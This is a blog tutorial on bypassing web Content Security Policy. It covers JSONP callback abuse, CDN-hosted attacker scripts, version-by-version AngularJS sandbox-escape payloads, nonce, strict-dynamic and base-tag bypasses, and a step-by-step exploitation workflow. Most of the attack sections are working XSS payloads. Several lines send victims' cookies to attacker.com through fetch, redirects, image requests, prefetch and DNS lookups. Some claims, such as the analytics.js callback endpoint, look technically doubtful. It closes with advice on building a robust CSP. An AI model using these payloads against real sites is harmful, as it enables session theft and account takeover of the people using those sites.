CSP Bypass Techniques: JSONP Abuse, Trusted Domains and AngularJS Sandbox Escape

Advanced CSP bypass methodology — JSONP endpoint abuse, CDN bypass, AngularJS ng-app escapes for every version, strict-dynamic bypass, base-uri injection, and CSP Evaluator analysis.

lazyhackers
Mar 27, 2026 · 17 min read · 8 views

Content Security Policy: How It Works

Content Security Policy is an HTTP response header that instructs the browser to restrict which resources can be loaded and executed on a web page. When properly configured, CSP prevents XSS by restricting script execution to explicitly trusted sources. However, CSP is notoriously difficult to configure correctly, and most real-world CSP policies contain bypasses.

# Common CSP directives:
Content-Security-Policy:
  default-src 'self';           # fallback for unspecified directives
  script-src 'self' cdn.example.com 'nonce-ABC123';  # JavaScript sources
  style-src 'self' 'unsafe-inline';  # CSS sources
  img-src *;                    # images from any source
  connect-src 'self' api.example.com;  # fetch/XHR destinations
  frame-src 'none';             # no framing allowed
  object-src 'none';            # no plugins (<object>, <embed>)
  base-uri 'self';              # restrict <base> tag
  report-uri /csp-violation;   # report violations to this endpoint

# Analyzing a CSP policy:
curl -I https://target.com | grep -i content-security-policy

# Or extract from meta tag:
# <meta http-equiv="Content-Security-Policy" content="...">

CSP Evaluator — Identifying Weaknesses

# Google's CSP Evaluator: https://csp-evaluator.withgoogle.com/
# CLI version:
npm install -g csp_evaluator
csp_evaluator "script-src 'self' https://cdn.example.com;"

# Common CSP evaluation findings:
# 1. 'unsafe-inline' in script-src: allows inline scripts = CSP bypassed
# 2. 'unsafe-eval': allows eval() = reduces protection significantly
# 3. Wildcards: script-src *.example.com allows any subdomain
# 4. http:// domains: allows any script from that domain (MITM possible)
# 5. Overly broad: script-src *.google.com (JSONP on any Google domain)
# 6. Missing object-src 'none': Flash/plugin bypass
# 7. Missing base-uri: base tag injection

# Example weak CSP that appears strong:
Content-Security-Policy:
  default-src 'none';
  script-src 'self' https://www.google-analytics.com https://apis.google.com;
  style-src 'self';
  img-src *

# Problems:
# - apis.google.com has JSONP endpoints = bypass
# - google-analytics.com has JSONP-like endpoints = bypass
# - 'self' with file upload = can upload JS and include it

# Check CSP:
python3 -c "
import json, sys

# Parse CSP header value and check for common bypasses:
csp = \"script-src 'self' https://cdn.jsdelivr.net https://www.google-analytics.com\"

bypass_domains = {
    'cdn.jsdelivr.net': 'JSONP endpoint and can serve arbitrary JS files',
    'cdnjs.cloudflare.com': 'Can serve old vulnerable library versions',
    'www.google-analytics.com': 'JSONP callback endpoint',
    'apis.google.com': 'JSONP endpoints',
    'accounts.google.com': 'JSONP endpoints for OAuth',
    'ajax.googleapis.com': 'Angular 1.x which has sandbox escapes',
    'code.jquery.com': 'Old jQuery with XSS vulnerabilities',
}

for domain, reason in bypass_domains.items():
    if domain in csp:
        print(f'[BYPASS] {domain}: {reason}')
"

JSONP Endpoint Abuse

JSONP (JSON with Padding) is a legacy technique for cross-origin data access that works by wrapping JSON data in a JavaScript function call. The function name is specified by the caller via a callback parameter. If a trusted domain in the CSP has a JSONP endpoint, an attacker can use it to load arbitrary JavaScript:

# JSONP endpoint on a trusted domain:
# Normally returns:
GET https://apis.google.com/callback?client_id=123&callback=myFunction
# Response: myFunction({"data": "..."});

# Attack: make the callback parameter our XSS payload:
GET https://apis.google.com/callback?client_id=123&callback=alert(document.cookie)//

# Response:
alert(document.cookie)//({"data": "..."});
# This is valid JavaScript! The // comments out the rest.
# Browser loads this as a script via the CSP-allowed domain

# XSS payload using JSONP bypass:
<script src="https://apis.google.com/callback?callback=alert(1)//"></script>
# CSP allows scripts from apis.google.com: ALLOWED
# Content: alert(1)//(original_jsonp) = alert(1) executed!

# More useful payload (exfiltrate cookies):
<script src="https://www.google-analytics.com/analytics.js?callback=fetch('https://attacker.com/?c='+document.cookie)//"></script>

# Finding JSONP endpoints on trusted domains:
# 1. Google dork:
site:apis.google.com inurl:callback=
site:accounts.google.com inurl:callback=
# 2. Use JSONP Hunter: tool that finds JSONP endpoints
# 3. Manual exploration of API documentation
# 4. Check WaybackMachine for old JSONP endpoints

# Common JSONP bypass endpoints:
# https://accounts.google.com/o/oauth2/auth?callback=PAYLOAD
# https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js  (old jQuery with open redirect)
# https://www.youtube.com/oembed?url=x&callback=PAYLOAD

Trusted CDN Bypass — Serving Attacker JavaScript

Several common CDN domains allowed in CSP can be abused to serve attacker-controlled JavaScript files:

# cdn.jsdelivr.net — can serve ANY file from ANY public GitHub repo:
# URL pattern: https://cdn.jsdelivr.net/gh/{user}/{repo}@{version}/{file}

# Attack: create a GitHub repo with malicious JS:
# 1. Create github.com/attacker/csp-bypass containing evil.js:
# evil.js: document.location = 'https://attacker.com/?c=' + document.cookie;

# 2. Load via jsdelivr.net (which is in the CSP allowlist):
<script src="https://cdn.jsdelivr.net/gh/attacker/csp-bypass@main/evil.js"></script>
# CSP: script-src cdn.jsdelivr.net = ALLOWED
# Content: attacker's malicious JavaScript = XSS executed!

# cdnjs.cloudflare.com — serves old library versions with known XSS:
# Angular 1.x has sandbox escapes that are exploitable as CSTI
# If Angular 1.x from cdnjs is allowed:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.min.js"></script>
# Then use Angular CSTI to execute code:
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>

# unpkg.com — serves npm packages:
# Similar to jsdelivr: can serve any npm package file
# If npm package contains malicious code: attacker just needs to publish it
<script src="https://unpkg.com/[email protected]/dist/payload.js"></script>

# rawgit.com / raw.githubusercontent.com:
# raw.githubusercontent.com — serves raw files from GitHub
# If this is in CSP (common mistake), serve JS directly from GitHub
<script src="https://raw.githubusercontent.com/attacker/repo/main/evil.js"></script>
# Note: GitHub serves these with text/plain Content-Type in modern configs
# But script-src doesn't check Content-Type in older browser versions

AngularJS CSP Bypass via ng-app

When Angular 1.x is loaded from a CSP-allowed source (especially ajax.googleapis.com), Angular's template system can be abused to execute arbitrary JavaScript even with a strict script-src policy, because Angular's template evaluation happens in existing allowed scripts:

# AngularJS CSP bypass in a nutshell:
# CSP: script-src 'none'; but Angular is already included via CDN
# Angular evaluates {{expressions}} in the DOM
# Expression evaluation runs in the Angular sandbox (JavaScript context)
# Sandbox escapes allow arbitrary JS execution

# Condition for this bypass:
# 1. AngularJS 1.x is loaded (from CDN in CSP allowlist)
# 2. The page has <div ng-app> (or attacker can inject one)
# 3. Attacker can inject content into the ng-app div

# AngularJS CSP bypass payloads by version:

# v1.0.1 - v1.1.5 (ancient):
{{constructor.constructor('alert(1)')()}}

# v1.2.0 - v1.2.18:
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

# v1.2.19 - v1.2.23:
{{c=toString.constructor.prototype;c.toString=c.call;["a","alert(1)"].sort(c.constructor)}}

# v1.3.0 - v1.3.9:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=''.valueOf;$eval("x=alert(1)//")}}

# v1.3.14:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

# v1.4.0 - v1.4.9:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

# v1.5.9 - v1.5.11 (complex):
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

# v1.6.0+ (sandbox removed):
{{constructor.constructor('alert(document.domain)')()}}

# Finding Angular version to select correct exploit:
# Check HTML for: ng-version attribute, version comment, or inspect angular.version in console
# <html ng-version="1.4.6">

# Practical AngularJS CSP bypass in reflected XSS context:
# URL: https://target.com/search?q=%7B%7Bconstructor.constructor(%27alert(1)%27)()%7D%7D
# If page has <div ng-app>{{user_input}}</div> — payload executes
# Even with CSP: script-src 'self' because AngularJS is already loaded and trusted

unsafe-inline Bypass with Nonces

# A nonce-based CSP requires each inline script to have a matching nonce:
Content-Security-Policy: script-src 'nonce-RANDOM_NONCE_HERE'

# HTML:
<script nonce="RANDOM_NONCE_HERE">legit code</script>

# Attack: if nonce is predictable or leaked:
# 1. Predictable nonce (bad random): try common values or observe pattern
# 2. Nonce in Referer: if a page with the nonce links to an attacker-controlled URL
# 3. Nonce in URL: sometimes nonces appear in error messages or headers

# Nonce bypass via DOM clobbering:
# If nonce is read from a DOM element and can be clobbered:
<a id="nonce-holder" href="javascript:void(0)"></a>
# Then JavaScript: document.currentScript.nonce  may be clobbered

# Nonce bypass via script injection with existing nonce:
# If you can inject HTML that includes the existing nonce (via attribute injection):
# <p class="x" nonce="STOLEN_NONCE">  — inject nonce into an innocent element
# Then: <script nonce="STOLEN_NONCE">alert(1)</script> — reuse the nonce!
# Note: browsers now prevent reading nonce from non-script elements

# Hash bypass:
# CSP: script-src 'sha256-BASE64_HASH'
# Only scripts whose SHA-256 matches are allowed
# Attack: if dynamic content changes the hash, old hash may still work
# More commonly: find scripts with useful functionality already allowed by hash

strict-dynamic Bypass

# strict-dynamic is used with nonces/hashes:
# script-src 'nonce-ABC' 'strict-dynamic'
# Meaning: scripts loaded by nonce-whitelisted scripts inherit trust
# (Their children can load scripts without explicit allowlisting)

# strict-dynamic IGNORES host-based allowlists in the same directive
# So: script-src 'nonce-ABC' 'strict-dynamic' *.example.com
# The *.example.com part is ignored!

# Bypass: if nonce-whitelisted script uses document.write() for script loading:
# The written scripts are trusted via strict-dynamic inheritance
# Target: find a CDN or tracking script that uses document.write() to load more scripts
# Inject into that first script's output via JSONP or open redirect on the nonce'd domain

# DOM clobbering attack on strict-dynamic:
# If the nonce-whitelisted script reads a config object to load scripts:
// main.js (has nonce):
const scriptConfig = window.scriptConfig || {url: '/default.js'};
const s = document.createElement('script');
s.src = scriptConfig.url;  // clobber window.scriptConfig!
document.head.appendChild(s);  // trusted via strict-dynamic

// Inject: <a id="scriptConfig" href="//attacker.com/evil.js"></a>
// Clobbers window.scriptConfig, causes attacker script to load under trusted context

base-uri Injection

# If CSP doesn't include base-uri 'none' or base-uri 'self':
# An attacker who can inject a <base> tag changes all relative URL resolution

# Vulnerable CSP (missing base-uri):
Content-Security-Policy: script-src 'nonce-ABCDEF' 'self'

# Injected:
<base href="https://attacker.com/">

# Now all relative URLs resolve to attacker.com:
<script nonce="ABCDEF" src="/static/app.js"></script>
# Resolves to: https://attacker.com/static/app.js = attacker's script!
# CSP allows it because the nonce matches and the script was loaded via relative URL

# Check for base-uri protection:
curl -I https://target.com | grep -i csp | grep -o "base-uri[^;]*"
# If empty or shows base-uri 'self' without single quotes: test injection

# Exploit:
# 1. Find HTML injection point (stored or reflected)
# 2. Inject: <base href="https://attacker.com/">
# 3. Set up attacker.com to serve all relative paths from the legitimate site
#    (reverse proxy) EXCEPT specific paths where you serve malicious content
# 4. Observe which relative scripts the page loads, serve malicious versions

Bypassing CSP to Exfiltrate Data via report-uri

# If you can inject arbitrary HTML that triggers CSP violations:
# CSP violations are reported to the report-uri endpoint
# The violation report includes the blocked URL
# This can be used to exfiltrate data!

# Injected XSS payload that creates CSP violation reports as a data channel:
<script>
// Data to exfiltrate: document.cookie
const data = document.cookie;
// Encode in URL that will be blocked by CSP:
const img = document.createElement('img');
img.src = 'https://attacker.com/' + encodeURIComponent(data);
// CSP blocks this request (it's not in connect-src)
// But CSP violation report is sent to report-uri containing the blocked URL!
// Report includes: blocked-uri = https://attacker.com/SESSION_COOKIE_VALUE
</script>

# Even with strict-dynamic blocking scripts:
# <link> prefetch for data exfiltration:
<link rel="prefetch" href="https://attacker.com/?data=STOLEN_DATA">
# If prefetch-src is not restricted, or falls back to default-src

# Ping attribute:
<a href="/" ping="https://attacker.com/?data=STOLEN_DATA">click</a>

# DNS prefetch (may bypass connect-src):
<link rel="dns-prefetch" href="//STOLEN_DATA.attacker.com">

CSP Bypass Decision Tree

CSP Feature What to Check Bypass Approach
'unsafe-inline' Present in script-src? Direct inline XSS, no bypass needed
Host whitelist Any CDN domains? JSONP on trusted domain, or serve JS from CDN
angular.js allowed Angular 1.x in allowlist? AngularJS sandbox escape CSTI
Nonce-based Nonce predictable or leaked? Reuse leaked nonce, DOM clobbering
strict-dynamic Nonce'd script uses dynamic loading? DOM clobbering the config, script injection in trusted script output
base-uri missing base-uri 'none'/'self' present? base tag injection to redirect relative script loads
object-src missing object-src 'none' present? Flash/Java plugin for script execution (legacy)
self only File upload to same origin? Upload JS file, load as script from self
# Complete bypass workflow:

# Step 1: Extract CSP
curl -s -I https://target.com | grep -i "content-security-policy"

# Step 2: Analyze with CSP Evaluator
# https://csp-evaluator.withgoogle.com/

# Step 3: Check for JSONP endpoints on trusted domains
for domain in $(echo "$CSP" | grep -oP "https?://[^\s;'\"]+"); do
  # Search for JSONP endpoints:
  curl -s "https://api.urlscan.io/v1/search/?q=domain:${domain#*://}%20filename:jsonp" \
    | python3 -m json.tool | grep "url"
done

# Step 4: Test specific bypass
# If cdn.jsdelivr.net is allowed:
curl "https://target.com/vulnerable?xss="

# Step 5: Verify execution
# Set up listener on attacker.com
# Check for incoming requests indicating XSS triggered
CSP bypass research requires careful testing to confirm which bypass works for a specific CSP configuration. Many bypasses are version-specific (AngularJS sandbox escapes) or require specific server configurations (JSONP endpoint availability). Always test in a controlled environment and verify the exact CSP policy before attempting exploitation.

Content Security Policy bypasses demonstrate a fundamental challenge in web security: defense-in-depth policies become ineffective when the "trusted" sources they whitelist introduce their own attack vectors. The proliferation of JSONP endpoints on major CDNs, the historical prevalence of AngularJS with its sandbox escapes, and the complexity of configuring CSP correctly mean that a significant percentage of deployed CSP policies can be bypassed with moderate research effort. The only robust CSP is one using nonces/hashes without host-based allowlists, with strict-dynamic, and with object-src and base-uri explicitly restricted.

Reactions

Related Articles